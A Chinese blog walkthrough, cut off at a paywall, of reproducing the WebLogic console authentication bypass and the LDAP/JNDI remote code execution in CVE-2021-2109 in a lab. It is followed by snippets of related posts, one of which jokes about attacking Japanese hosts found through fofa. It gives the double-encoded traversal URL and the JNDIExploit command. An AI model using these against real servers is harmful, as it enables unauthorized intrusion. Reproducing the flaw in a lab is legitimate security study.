Weblogic未授权访问以及LADP远程代码执行（CVE-2021-2109）

Weblogic未授权访问及LADP远程代码执行（CVE-2021-2109）
最新推荐文章于 2024-05-16 23:05:09 发布
原创 最新推荐文章于 2024-05-16 23:05:09 发布 · 1.6k 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#web安全 #渗透测试 #网络安全

本文介绍了Weblogic服务器的未授权访问漏洞及利用LADP进行远程代码执行的详细过程。受影响的版本包括10.3.6.0.0、12.1.3.0.0等。通过特定URL编码可以绕过授权访问控制台，进一步利用LDAP脚本执行远程代码。作者提供了攻击和防御的步骤，包括命令执行、反弹shell等，并附带了相关资源链接。 
零基础学黑客，搜索公众号：白帽子左一

作者：掌控安全-逍遥子

1.影响版本：
WebLogic Server10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

实验环境:
攻击机：kalilinux 10.1.1.10
靶机： 10.1.1.109

2.weblogic未授权访问：

对目标地址的7001端口直接访问

在这里插入图片描述

构造绕过授权url: ip:7001/console/css/%252e%252e%252f/consolejndi.portal 其中%252e%252e%252f是…/的二次url编码。成功访问到控制台，如果第一次未成功需要进行刷新。

在这里插入图片描述

此处存在weblogic的未授权访问，该版本受到影响。

3.远程代码执行
a.
启动需要攻击使用的ldap脚本 java -jar JNDIExploit.jar -i ip
下载地址：github的链接已经失效，我放在附件的位置。
在这里插入图片描述

配合WebLogic未授权漏洞进行代码执行：
/console/css

最低0.47元/天 解锁文章
zkzq
关注
weblogic LDAP远程代码执行 CVE-2021-2109
课嗨教育的专栏
02-01 2355
漏洞影响版本 WebLogic Server 10.3.6.0.0 WebLogic Server 12.1.3.0.0 WebLogic Server 12.2.1.3.0 WebLogic Server 12.2.1.4.0 WebLogic Server 14.1.1.0.0 漏洞复现 搭建实验环境，我这里直接使用vulhub里weblogic CVE-2020-14882的环境 访问http://192.168.2.131:7001,出现以下界面说明搭建成功 访问以下路径，如果
Weblogic 远程代码执行漏洞：CVE-2021-2109复现
Jietewang的博客
01-25 5535
前言 什么是LDAP？Lightweight Directory Access Protocol轻量目录访问协议，基于X.500协议，相对简单且支持定制。于X.500不同的是LDAP支持TCP/IP。 本文主要复现编号为CVE-2021-2109的Weblogic JNDI注入远程命令执行漏洞，该漏洞风险为“高”。 影响版本：Weblogic Server10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 1. 环境搭建 本次实验使用的靶.
weblogic未授权访问漏洞复现（CVE-2020-14882）
Armandhe的博客
06-07 5860
有了它，你知道怎么上fofa上搜搜搞搞小日本了吧
weblogic_12.2.1_未授权访问漏洞_CVE-2023-21839
acdcccc的博客
09-18 329
Weblogic_12.2.1 未授权访问漏洞复现
weblogic未授权访问命令执行复现（cve-2020-14882）
来到了学渣的博客
11-01 4992
最近的weblogic漏洞很火，直接上手复现一波。也踩了很多坑，比如用docker搭建环境的时候，用不回显payload的话，如何执行命令（所以用有回显的payload是最舒服的最直观的） 漏洞版本主要影响到 Oracle WebLogic Server 版本10.3.6.0，12.1.3.0，12.2.1.3，12.2.1.4，14.1.1.0。 版本12.2.1.3 先执行下现有的payload，可以直接未授权面板 ip/console/images/%252E%252E%252Fconsole.p
Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883
weixin_51151498的博客
12-05 1895
weblogic漏洞复现
Weblogic 管理控制台未授权远程命令执行漏洞（CVE-2020-14882，CVE-2020-14883）
weixin_45653478的博客
05-14 1720
Weblogic Pre-Auth Remote Command Execution 漏洞（CVE-2020-14882, CVE-2020-14883）是针对 Oracle WebLogic Server 的两个安全漏洞。CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证，而 CVE-2020-14883 则允许经过身份验证的用户在管理员控制台组件上执行任意命令。
WebLogic_LDAP远程代码执行(CVE-2021-2109)
Longwaer
01-15 1250
学习了解掌握WebLogic_LDAP远程命令执行，更快的知晓中间件的漏洞利用方式及原理。
Weblogic LDAP 远程代码执行漏洞复现【CVE-2021-2109】
ximo的博客
04-29 1010
漏洞概述 Oracle官方发布了2021年1月关键补丁更新公告CPU（Critical Patch Update），共修复了329个不同程度的漏洞，其中包括7个影响WebLogic的严重漏洞（CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756），未经身份验证的攻击者可通过此次的漏洞实现远程代码执行。 影响范围 WebLogic Server 10.3.6.0.0
weblogic修改控制台ip_Weblogic未授权访问及命令执行分析复现
weixin_39640085的博客
12-12 1429
一、背景漏洞概述：WebLogic是美国Oracle公司的主要产品之一，是商业市场上主要的 J2EE 应用服务器软件，也是世界上第一个成功商业化的J2EE应用服务器，在 Java 应用服务器中有非常广泛的部署和应用。10月21日，Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/ CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限...
CVE漏洞复现-CVE-2021-2109 Weblogic Server远程代码执行
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
06-06 1541
2021年1月20日，Oracle官方发布了漏洞补丁，修了包括 CVE-2021-2109Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中，攻击者可构造恶意请求，造成JNDI注入，执行任意代码，从而控制服务器。该漏洞为Weblogic的远程代码执行漏洞，主要由JNDI注入，导致攻击者可利用此漏洞远程代码执行，危险等级高。
【漏洞复现】Weblogic未授权命令执行漏洞（ CVE-2020-14882）
weixin_43486390的博客
12-17 2657
CVE-2020-14882
CVE-2021-2109：Weblogic Server远程代码执行漏洞验证及修复
weixin_38896449的博客
03-25 2232
weblogic 未授权命令执行漏洞CVE-2020-148821.漏洞描述2.影响版本3.漏洞检测4.漏洞修复 1.漏洞描述 2021年1月20日，Oracle官方发布了2021年1月关键补丁更新公告CPU（Critical Patch Update），CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。在CVE-2021-2109漏洞中，攻击者可构造恶意请求，造成JNDI注入、执行任意代码，从而控制服务器。 2.影响版本 Weblogic Server 10
CVE-2021-2109 Weblogic Server远程代码执行漏洞
m0_56642842的博客
06-24 3384
0x00 简介 WebLogic是美国甲骨文公司出品的一个application server（应用服务器），确切的说是一个基于JAVAEE架构的中间件，WebLogic主要用于开发、继承、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。 0x01 漏洞概述 CVE-2021-2109是存在于WebLogic Server的console中的一个远程代码执行漏洞，经过身份验证的攻击者可以直接通过JNDI远程执行命令或者注入代码，可以配合CVE-2020-14882未授权漏洞执行任意
Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109
suiyideAli的博客
04-19 1415
漏洞影响 WebLogic Server 10.3.6.0.0WebLogic Server 12.1.3.0.0WebLogic Server 12.2.1.3.0WebLogic Server 12.2.1.4.0WebLogic Server 14.1.1.0.0 漏洞复现 访问一下URL http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252f/consolejndi.portal![image.png](https://img-b.
weblogic任意文件上传、未授权命令执行
m0_67284865的博客
07-05 1039
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞，进而获取服务器权限。Oracle 7月更新中，修复了Weblogic Web Service Test Page中一处任意文件上传漏洞，Web Service Test Page 在 ‘生产模式’ 下默认不开启，所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do、/ws_utc/config.do。
24、25-反序列化漏洞（JBoss、apache log4、apache Shiro、JWT)Weblogic未授权访问、代码执行、任意上传
最新发布
XLbb的博客
05-16 2515
serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的，之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。 当传给 unserialize() 的参数可控时，那么用户就可以注入精心构造的 payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法，造成意想不到的危害。 CVE-2021-2109Weblogic Server远程代码执行。apache log4j （Java日志记录库）
Weblogic远程代码执行漏洞CVE-2019-2725补丁分析
描述为：“p29204678_1036_Generic-patch-catalog_26516.zip，CVE-2019-2725漏洞补丁p29204678_1036_Generic-patch-catalog_26516.zip U5I2.jar Weblogic反序列化远程代码执行漏洞（CVE-2019-2725）分析报告中招...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值